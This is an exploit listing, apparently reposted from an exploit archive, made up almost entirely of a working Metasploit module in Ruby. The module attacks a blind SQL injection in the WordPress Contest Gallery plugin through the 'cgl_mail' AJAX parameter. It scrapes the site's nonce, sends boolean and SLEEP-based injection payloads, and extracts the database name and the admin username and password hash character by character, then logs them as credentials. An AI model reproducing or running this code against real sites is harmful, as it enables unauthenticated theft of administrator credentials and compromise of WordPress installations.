Share
## https://sploitus.com/exploit?id=PACKETSTORM:222983
==================================================================================================================================
| # Title : WordPress Contest Gallery 28.1.4 Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://wordpress.org/plugins/contest-gallery/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets a reported blind SQL injection vulnerability in the WordPress Contest Gallery plugin (v28.1.4 and earlier).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Contest Gallery 28.1.4 Blind SQL Injection',
'Description' => %q{
This module exploits a blind boolean-based SQL injection vulnerability in
WordPress plugin Contest Gallery version 28.1.4 and earlier. The vulnerability
exists in the 'post_cg1l_resend_unconfirmed_mail_frontend' AJAX action where
the 'cgl_mail' parameter is improperly sanitized. The sanitize_email() function
preserves single quotes in the local part of an email address, allowing
unauthenticated attackers to perform boolean-based blind SQL injection.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-3180'],
['URL', 'https://example.com/advisory']
],
'DisclosureDate' => '2026-06-07',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress installation', '/']),
OptInt.new('TIME_BASED', [false, 'Use time-based injection (seconds delay)', 0]),
OptString.new('NONCE', [false, 'The cg_nonce value (if known)', '']),
OptString.new('PAGE_ID', [true, 'The cgl_page_id value', '1']),
OptEnum.new('INJECTION_TYPE', [true, 'Type of injection to use', 'BOOLEAN', ['BOOLEAN', 'TIME']])
])
end
def wordpress_base
normalize_uri(target_uri.path)
end
def ajax_url
normalize_uri(wordpress_base, 'wp-admin', 'admin-ajax.php')
end
def fetch_nonce
unless datastore['NONCE'].empty?
vprint_good("Using provided nonce: #{datastore['NONCE']}")
return datastore['NONCE']
end
print_status("Attempting to extract cg_nonce from the target...")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => wordpress_base
})
if res && res.body
if res.body =~ /cg_nonce["']\s*:\s*["']([^"']+)["']/i
nonce = Regexp.last_match(1)
print_good("Found nonce: #{nonce}")
return nonce
elsif res.body =~ /name=["']cg_nonce["']\s+value=["']([^"']+)["']/i
nonce = Regexp.last_match(1)
print_good("Found nonce: #{nonce}")
return nonce
end
end
rescue => e
vprint_error("Failed to fetch nonce: #{e.message}")
end
print_warning("Could not extract nonce. Some targets may reject the request.")
return ''
end
def send_sqli_payload(injection)
nonce = fetch_nonce
email = "test'#{injection}#@example.com"
post_data = {
'action' => 'post_cg1l_resend_unconfirmed_mail_frontend',
'cgl_mail' => email,
'cgl_page_id' => datastore['PAGE_ID'],
'cgl_activation_key' => '',
'cg_nonce' => nonce
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => ajax_url,
'vars_post' => post_data
})
return res
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
return nil
end
end
def boolean_test(condition)
injection = "') OR #{condition} #"
res = send_sqli_payload(injection)
if res && res.body
return res.body.length > 500
end
false
end
def time_test(condition)
injection = "') OR IF(#{condition}, SLEEP(#{datastore['TIME_BASED']}), 0) #"
start_time = Time.now
res = send_sqli_payload(injection)
elapsed = Time.now - start_time
return elapsed >= datastore['TIME_BASED']
end
def run_host(ip)
unless datastore['TIME_BASED'] > 0 || datastore['INJECTION_TYPE'] == 'BOOLEAN'
print_error("For TIME injection, set TIME_BASED > 0")
return
end
print_status("Testing vulnerability on #{peer}")
test_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ?
boolean_test('1=1') : time_test('1=1')
test_false = datastore['INJECTION_TYPE'] == 'BOOLEAN' ?
boolean_test('1=2') : time_test('1=2')
unless test_true == true && test_false == false
print_error("Target does not appear to be vulnerable")
return
end
print_good("Target is vulnerable to #{datastore['INJECTION_TYPE']}-based blind SQL injection!")
print_status("Attempting to extract database name...")
dbname = blind_extract_data("SELECT DATABASE()")
print_good("Database name: #{dbname}")
print_status("Extracting admin username...")
admin_user = blind_extract_data(
"SELECT user_login FROM wp_users WHERE ID=1"
)
print_good("Admin user: #{admin_user}")
print_status("Extracting admin password hash...")
admin_hash = blind_extract_data(
"SELECT user_pass FROM wp_users WHERE ID=1"
)
print_good("Admin hash: #{admin_hash}")
report_vuln({
host: rhost,
port: rport,
name: self.name,
refs: references,
info: "Blind SQL injection in Contest Gallery plugin"
})
report_cred({
username: admin_user,
hash: admin_hash,
type: 'nonreplayable_hash',
proof: "Extracted via blind SQL injection",
jtr_format: 'phpass'
})
end
def blind_extract_data(query)
result = ""
charset = (32..126).map(&:chr).join
1.upto(64) do |pos|
found = false
charset.each_char do |char|
condition = "ASCII(SUBSTRING((#{query}), #{pos}, 1)) = #{char.ord}"
is_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ?
boolean_test(condition) : time_test(condition)
if is_true
result << char
print_status(" Found: #{result}")
found = true
break
end
end
break unless found
end
result
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================